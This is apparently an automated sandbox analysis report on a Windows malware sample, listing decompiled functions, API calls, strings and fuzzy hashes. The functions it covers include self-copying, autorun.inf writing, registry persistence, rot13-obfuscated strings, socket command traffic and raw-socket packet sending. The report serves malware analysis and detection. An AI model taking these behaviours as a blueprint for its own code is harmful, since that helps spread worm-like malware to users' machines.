Instruction Fuzzy Hash: 7221A6B4904218DFCB60DF68EA8069DBBF4EB48314F50413AE958F7750D33499498F99

Uniqueness

Uniqueness Score: -1.00%

Function 1000271B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 1000272F
fclose.MSVCRT ref: 10002740

Strings

Q, xrefs: 10002721

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: fclosefopen
String ID: Q
API String ID: 1280645193-3894087120
Opcode ID: d11b7e04d193afe19875c3f0bb31fea1c1a234c9f78bf7c27ca1675ec82f5387
Instruction ID: fc467ff3ac9e7cdac0bddd603bffc4fa3c1df253e59169ed2f43415d9b654fe0
Opcode Fuzzy Hash: d11b7e04d193afe19875c3f0bb31fea1c1a234c9f78bf7c27ca1675ec82f5387
Instruction Fuzzy Hash: AFD09E7860430457E701AB75954535B7AD9DB402C4F41C828E8858F38DE6B5E8418791

Uniqueness

Uniqueness Score: -1.00%

Function 10002A16 Relevance: 4.5, APIs: 3, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

rot13.SHERVANS ref: 10002A2B

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

CreateMutexA.KERNEL32 ref: 10002A43
GetLastError.KERNEL32 ref: 10002A4B

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: CreateErrorLastMutexrot13rot13c
String ID:
API String ID: 915986942-0
Opcode ID: ee8ea586af41e913590f4dc365a00a8f608733261f8a1858d002a386ab06bff8
Instruction ID: 37426019501c0c1615168472e2e031f059b69aac5c44e8d8eb959c1da4a6e9fe
Opcode Fuzzy Hash: ee8ea586af41e913590f4dc365a00a8f608733261f8a1858d002a386ab06bff8
Instruction Fuzzy Hash: DFE04FB44083059AD700EF61C5C139EBFF4EF40385F40841DE88843286D779A5489B23

Uniqueness

Uniqueness Score: -1.00%

Function 10002EA8 Relevance: 4.5, APIs: 3, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002EA8(struct _SECURITY_ATTRIBUTES* __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				void* _t9;

				_t9 = __eflags;
				_t5 = __ebx;
				E10002C6C(); // executed
				E10002A16(__ebx); // executed
				E10002806(_t5, __edx, __edi, __esi, _t9); // executed
				return 0;
			}

0x10002ea8
0x10002ea8
0x10002eae
0x10002eb3
0x10002eb8
0x10002ec3

APIs

copy_filez.SHERVANS ref: 10002EAE

Part of subcall function 10002C6C: rot13.SHERVANS ref: 10002C88
Part of subcall function 10002C6C: add_system_direcroty.SHERVANS ref: 10002CA2
Part of subcall function 10002C6C: rot13.SHERVANS ref: 10002CB2
Part of subcall function 10002C6C: add_system_direcroty.SHERVANS ref: 10002CCC
Part of subcall function 10002C6C: CopyFileA.KERNEL32 ref: 10002CE0

mutex_check.SHERVANS ref: 10002EB3

Part of subcall function 10002A16: rot13.SHERVANS ref: 10002A2B
Part of subcall function 10002A16: CreateMutexA.KERNEL32 ref: 10002A43
Part of subcall function 10002A16: GetLastError.KERNEL32 ref: 10002A4B

copy_autoinf.SHERVANS ref: 10002EB8

Part of subcall function 10002806: rot13.SHERVANS ref: 10002829
Part of subcall function 10002806: Get_Reg_SZ.SHERVANS ref: 10002849
Part of subcall function 10002806: sss_rans.SHERVANS ref: 10002859
Part of subcall function 10002806: Write_REG_SZ.SHERVANS ref: 10002894
Part of subcall function 10002806: rot13.SHERVANS ref: 100028AA
Part of subcall function 10002806: add_system_direcroty.SHERVANS ref: 100028C4
Part of subcall function 10002806: filetyt.SHERVANS ref: 100028D2
Part of subcall function 10002806: wsprintfA.USER32 ref: 10002900
Part of subcall function 10002806: CreateFileA.KERNEL32 ref: 10002938
Part of subcall function 10002806: WriteFile.KERNEL32 ref: 1000297F
Part of subcall function 10002806: CloseHandle.KERNEL32 ref: 1000298A
Part of subcall function 10002806: SetFileAttributesA.KERNEL32 ref: 100029A3

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rot13$File$add_system_direcroty$Create$AttributesCloseCopyErrorGet_HandleLastMutexReg_WriteWrite_copy_autoinfcopy_filezfiletytmutex_checksss_ranswsprintf
String ID:
API String ID: 2813818644-0
Opcode ID: 093c64d432fdb6e2285a5a98a3c5134fac210d630f0c210cb98ae6cf3dcb151b
Instruction ID: e12c022bba1e22a18cbfb1e123279ba149248782693e9a4da0a20551277887d2
Opcode Fuzzy Hash: 093c64d432fdb6e2285a5a98a3c5134fac210d630f0c210cb98ae6cf3dcb151b
Instruction Fuzzy Hash: EAB0920CA0010403F000F2B8194BB0D704C9B51598F404031A5409118AAC44B42882B7

Uniqueness

Uniqueness Score: -1.00%

Function 00405C6C Relevance: 3.1, APIs: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00405CBE
WriteFile.KERNEL32 ref: 00405D35

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d63655d2dcbc60839257c6e938d84bfe055410ba38a70233d950f78cf1ccbd3a
Instruction ID: f1047de20eb3893e32fccaf0b86581f2c31394c201b131b44f92a60914293b21
Opcode Fuzzy Hash: d63655d2dcbc60839257c6e938d84bfe055410ba38a70233d950f78cf1ccbd3a
Instruction Fuzzy Hash: F12174B09043594BCB10DF29C89439EBBB4EF84310F00C5BFD95997381D7349A898FA5

Uniqueness

Uniqueness Score: -1.00%

Function 10001060 Relevance: 3.1, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 100010BE

Part of subcall function 10001000: ??3@YAXPAX@Z.MSVCRT ref: 10001043
Part of subcall function 10001000: fflush.MSVCRT ref: 10001057

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: ??3@fflushmalloc
String ID:
API String ID: 3823167246-0
Opcode ID: b4ed8e0dcb01610a8e0155abcafffdc3cf178930a4c4465fac26594983f5d97f
Instruction ID: c3d61e731865bd7456064c518874042fb421375ce73593d0c675da1890093c8e
Opcode Fuzzy Hash: b4ed8e0dcb01610a8e0155abcafffdc3cf178930a4c4465fac26594983f5d97f
Instruction Fuzzy Hash: B5016135A043919BF711EFB8899178F7BD8FB442D0F118429E8808B24DDBB0E8808792

Uniqueness

Uniqueness Score: -1.00%

Function 00405D46 Relevance: 3.0, APIs: 2, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405D83

Part of subcall function 00405C6C: WriteFile.KERNEL32 ref: 00405CBE
Part of subcall function 00405C6C: WriteFile.KERNEL32 ref: 00405D35

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405DB7

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID:
API String ID: 148219782-0
Opcode ID: 72e9fedbf2843b56b6a6daafb9acc6cb085d47cfbc8d447e6dd53778901cb612
Instruction ID: 00d198e32dff6483e67d0ab4778baf528fffa47fc69d76bf6507d571ee69b3a3
Opcode Fuzzy Hash: 72e9fedbf2843b56b6a6daafb9acc6cb085d47cfbc8d447e6dd53778901cb612
Instruction Fuzzy Hash: 92F0E7B0509305ABE700AF75D1C930BBEE4AB40358F008A2DE4D55B2D2D7B99A488B96

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x41949c();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x41949c(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

APIs

__set_app_type.MSVCRT ref: 0040128D

Part of subcall function 00401150: SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
Part of subcall function 00401150: __getmainargs.MSVCRT ref: 0040119E
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011D8
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011FC
Part of subcall function 00401150: __p__fmode.MSVCRT ref: 00401210
Part of subcall function 00401150: __p__environ.MSVCRT ref: 0040122A
Part of subcall function 00401150: _cexit.MSVCRT ref: 0040124D
Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401255

__set_app_type.MSVCRT ref: 004012AD

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: __set_app_type_setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 570162737-0
Opcode ID: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction ID: 752eb1ab21b4c19d55682f3c7b2bcf3a34383202cb890f95c9a90ba33a14ec6c
Opcode Fuzzy Hash: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction Fuzzy Hash: 02D09B354142149BC7007BF5DC0A399BBA86B09301F41443CE6CD67261D6743C4947DA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401C2C Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294stringnetworksleepCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401C63
memset.MSVCRT ref: 00401C81
_mbscat.MSVCRT ref: 00401C90
_mbscat.MSVCRT ref: 00401CCD

Part of subcall function 00405316: gethostname.WS2_32 ref: 0040532B
Part of subcall function 00405316: gethostbyname.WS2_32 ref: 00405336
Part of subcall function 00405316: inet_ntoa.WS2_32 ref: 00405351

_mbscat.MSVCRT ref: 00401D1B

Part of subcall function 00405256: GetVersionExA.KERNEL32 ref: 00405272

_mbscat.MSVCRT ref: 00401D49
_mbscat.MSVCRT ref: 00401D7D
Sleep.KERNEL32 ref: 00401E82
_mbscat.MSVCRT ref: 00401DD7

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

send.WS2_32 ref: 00401EF2
recv.WS2_32 ref: 00401F2A
strtok.MSVCRT ref: 00401F89
strtok.MSVCRT ref: 00401FA8
closesocket.WS2_32 ref: 00401FBD
atoi.MSVCRT ref: 00401FD4
atoi.MSVCRT ref: 00401FEA
memset.MSVCRT ref: 00402043
lstrlen.KERNEL32 ref: 00402051

Part of subcall function 0040447C: CryptAcquireContextA.ADVAPI32 ref: 004044BD
Part of subcall function 0040447C: CryptCreateHash.ADVAPI32 ref: 004044F7
Part of subcall function 0040447C: CryptHashData.ADVAPI32 ref: 00404528
Part of subcall function 0040447C: CryptDestroyHash.ADVAPI32 ref: 0040453A
Part of subcall function 0040447C: CryptReleaseContext.ADVAPI32 ref: 00404550

lstrcmp.KERNEL32 ref: 004020AB
lstrcmp.KERNEL32 ref: 004020CD

Strings

P, xrefs: 00401E93
expl, xrefs: 00401E44
-Age, xrefs: 00401E1A
ost:, xrefs: 00401DB8
nt: , xrefs: 00401E25
wer, xrefs: 00401E4F
3159, xrefs: 00401CE8
=-A, xrefs: 00401DCD, 00401E9B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: _mbscat$Crypt$Hashmemset$Contextatoilstrcmpstrtok$AcquireConnectedCreateDataDestroyHandleInternetLibraryLoadModuleReleaseSleepStateVersionclosesocketgethostbynamegethostnameinet_ntoalstrlenrecvsend
String ID: -Age$3159$=-A$P$expl$nt: $ost:$wer
API String ID: 1488133686-2239103369
Opcode ID: 6c291d1ab130d950e73a0d21f9dfd0606c72a42a2e497424fde83289429f6f05
Instruction ID: 99ea3051cc31653010b65aed47ab6d4c6dbc815114f0d374468db723e332898a
Opcode Fuzzy Hash: 6c291d1ab130d950e73a0d21f9dfd0606c72a42a2e497424fde83289429f6f05
Instruction Fuzzy Hash: 79C186B48043148BD724AF29C58535A7BF1EF85318F2086AEE45C5B7D2CB798D86CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00403790 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 133filestringCOMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 004037D8
memset.MSVCRT ref: 0040383B
FindFirstFileA.KERNEL32 ref: 0040385C
FindNextFileA.KERNEL32 ref: 00403888
lstrcpy.KERNEL32 ref: 004038CC
_mbscat.MSVCRT ref: 00403910
FindClose.KERNEL32 ref: 00403957

Strings

*.*, xrefs: 0040381A
., xrefs: 004038AA
\, xrefs: 004038E4
., xrefs: 00403898

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Find$File$CloseFirstNext_mbscat_mbscpylstrcpymemset
String ID: *.*$.$.$\
API String ID: 1316374366-446526362
Opcode ID: 26e3bcea411a8c7c4bbc4843d5bdfb40b3e1660c35f98ae57de979e8483c3eb5
Instruction ID: b4465dfa5f332ec533157c87ff7dca4d317d8e0d8912ef682c4f4d402bf95f8b
Opcode Fuzzy Hash: 26e3bcea411a8c7c4bbc4843d5bdfb40b3e1660c35f98ae57de979e8483c3eb5
Instruction Fuzzy Hash: 505194758083588ADB20AF35C48839DBFE5AF44315F1486BEE859673C1DB788F88CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040447C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 105
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E0040447C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				void _v28;
				long* _v32;
				void* _v36;
				char _v40;
				char _v44;
				int _v60;
				int _v64;
				int _v68;
				int _v72;
				char* _v76;
				int _v80;
				int _v84;
				intOrPtr _v88;
				int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char* _v116;
				char* _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				char* _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v168;
				intOrPtr _v172;
				int _t54;
				long* _t57;
				int _t60;
				intOrPtr _t76;
				int _t79;
				signed int _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				void* _t89;
				intOrPtr* _t90;
				intOrPtr* _t93;

				_t76 = _a12;
				asm("cld");
				memset( &_v28, 0, 4 << 2);
				_v60 = 0;
				_v64 = 1;
				_v68 = 0;
				_v72 = 0;
				_t54 = CryptAcquireContextA( &_v32);
				_t86 = _t83 - 0x40 + 0xc - 0x14;
				_t79 = 0;
				if(_t54 != 0) {
					_v76 =  &_v36;
					_v80 = 0;
					_v84 = 0;
					_v88 = 0x8003;
					_t57 = _v32;
					 *_t86 = _t57;
					L0040C4B0();
					_t88 = _t86 - 0x14;
					_t79 = 0;
					if(_t57 != 0) {
						_v100 = 0;
						_v104 = _a8;
						_v108 = _a4;
						_t60 = _v36;
						_v112 = _t60;
						L0040C4B8();
						_t89 = _t88 - 0x10;
						if(_t60 != 0) {
							_v40 = 4;
							_v112 = 0;
							_v116 =  &_v40;
							_v120 =  &_v44;
							_v124 = 4;
							_v128 = _v36;
							L0040C4D0();
							_t90 = _t89 - 0x14;
							_v132 = 0;
							_v136 =  &_v44;
							_v140 =  &_v28;
							_v144 = 2;
							 *_t90 = _v36;
							L0040C4D0();
							_v168 = _v36;
							L0040C4C0();
							_v168 = 0;
							CryptReleaseContext(_v32);
							_t93 = _t90 - 8;
							_t82 = 0;
							if(0 < _v44) {
								do {
									_v168 =  *( &_v28 + _t82) & 0x000000ff;
									_v172 = "%2.2x";
									 *_t93 = _t76 + _t82 * 2;
									sprintf(??, ??);
									_t82 = _t82 + 1;
								} while (_t82 < _v44);
							}
							_t79 = 1;
						} else {
							_v128 = _v36;
							L0040C4C0();
							_v128 = 0;
							CryptReleaseContext(_v32);
							_t79 = 0;
						}
					}
				}
				return _t79;
			}

0x00404484
0x0040448a
0x00404495
0x00404497
0x0040449f
0x004044a7
0x004044af
0x004044bd
0x004044c2
0x004044c5
0x004044cc
0x004044d5
0x004044d9
0x004044e1
0x004044e9
0x004044f1
0x004044f4
0x004044f7
0x004044fc
0x004044ff
0x00404506
0x0040450c
0x00404517
0x0040451e
0x00404522
0x00404525
0x00404528
0x0040452d
0x00404532
0x00404562
0x00404569
0x00404574
0x0040457b
0x0040457f
0x0040458a
0x0040458d
0x00404592
0x00404595
0x004045a0
0x004045a7
0x004045ab
0x004045b6
0x004045b9
0x004045c4
0x004045c7
0x004045cf
0x004045dd
0x004045e2
0x004045e5
0x004045ed
0x004045ef
0x004045f4
0x004045f8
0x00404603
0x00404606
0x0040460b
0x0040460c
0x004045ef
0x00404611
0x00404534
0x00404537
0x0040453a
0x00404542
0x00404550
0x00404558
0x00404558
0x00404532
0x00404506
0x0040461e

APIs

CryptAcquireContextA.ADVAPI32 ref: 004044BD
CryptCreateHash.ADVAPI32 ref: 004044F7
CryptHashData.ADVAPI32 ref: 00404528
CryptDestroyHash.ADVAPI32 ref: 0040453A
CryptReleaseContext.ADVAPI32 ref: 00404550
CryptGetHashParam.ADVAPI32 ref: 0040458D
CryptGetHashParam.ADVAPI32 ref: 004045B9
CryptDestroyHash.ADVAPI32 ref: 004045C7
CryptReleaseContext.ADVAPI32 ref: 004045DD
sprintf.MSVCRT ref: 00404606

Strings

%2.2x, xrefs: 004045F8

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Crypt$Hash$Context$DestroyParamRelease$AcquireCreateDatasprintf
String ID: %2.2x
API String ID: 3563044075-341615062
Opcode ID: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction ID: 71e90cb579b3012189f1bc8fcce2ad08a11f5a443b18af0431ecfa41047fce4e
Opcode Fuzzy Hash: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction Fuzzy Hash: 6A41A6B5904309DBDB00EF69C58579EBBF4BB84314F00892EE984A7381E779D548CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406BEA Relevance: 18.1, APIs: 12, Instructions: 148memorysleepnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00406C3F
WSASocketA.WS2_32 ref: 00406C79
setsockopt.WS2_32 ref: 00406CB7
GetProcessHeap.KERNEL32 ref: 00406CD0
RtlAllocateHeap.NTDLL ref: 00406CE8
memset.MSVCRT ref: 00406D1E
GetCurrentProcessId.KERNEL32 ref: 00406D2B
GetTickCount.KERNEL32 ref: 00406D52
Sleep.KERNEL32 ref: 00406D8E
GetTickCount.KERNEL32 ref: 00406DA3
sendto.WS2_32 ref: 00406DEF
Sleep.KERNEL32 ref: 00406E06

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CountHeapProcessSleepTick$AllocateCurrentSocketinet_addrmemsetsendtosetsockopt
String ID:
API String ID: 3025670439-0
Opcode ID: 80d924af3c741b2fe8bc6792d036a4a53eb01d27bfc2d5dfb458dfe8975752fb
Instruction ID: c887a22924d357f2cc4e5641eb84b294b57a756f528ba2f64bcdc76ce2e57ac6
Opcode Fuzzy Hash: 80d924af3c741b2fe8bc6792d036a4a53eb01d27bfc2d5dfb458dfe8975752fb
Instruction Fuzzy Hash: EB5129B09043459BD700EFA8C18439EFBF1BF84314F108A3EE499AB785D7789459CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00407C4E Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 196timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00407E14
CreateThread.KERNEL32 ref: 00408044

Strings

p515p225982son69p76q604qp7s97975, xrefs: 00407CB4
command, xrefs: 00407FE5
(ohcx%gmlvl#b|d}m8e|k, xrefs: 00407DEE
2wrwb=xfpav'g{sm#~gp, xrefs: 00407D04
4upyl?idzyt9z~`n%|e~, xrefs: 00407D50
2317q129n58non7o3148por15qs741r3, xrefs: 00407CC7

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CreateLocalThreadTime
String ID: (ohcx%gmlvl#b|d}m8e|k$2317q129n58non7o3148por15qs741r3$2wrwb=xfpav'g{sm#~gp$4upyl?idzyt9z~`n%|e~$command$p515p225982son69p76q604qp7s97975
API String ID: 3972831565-1317110218
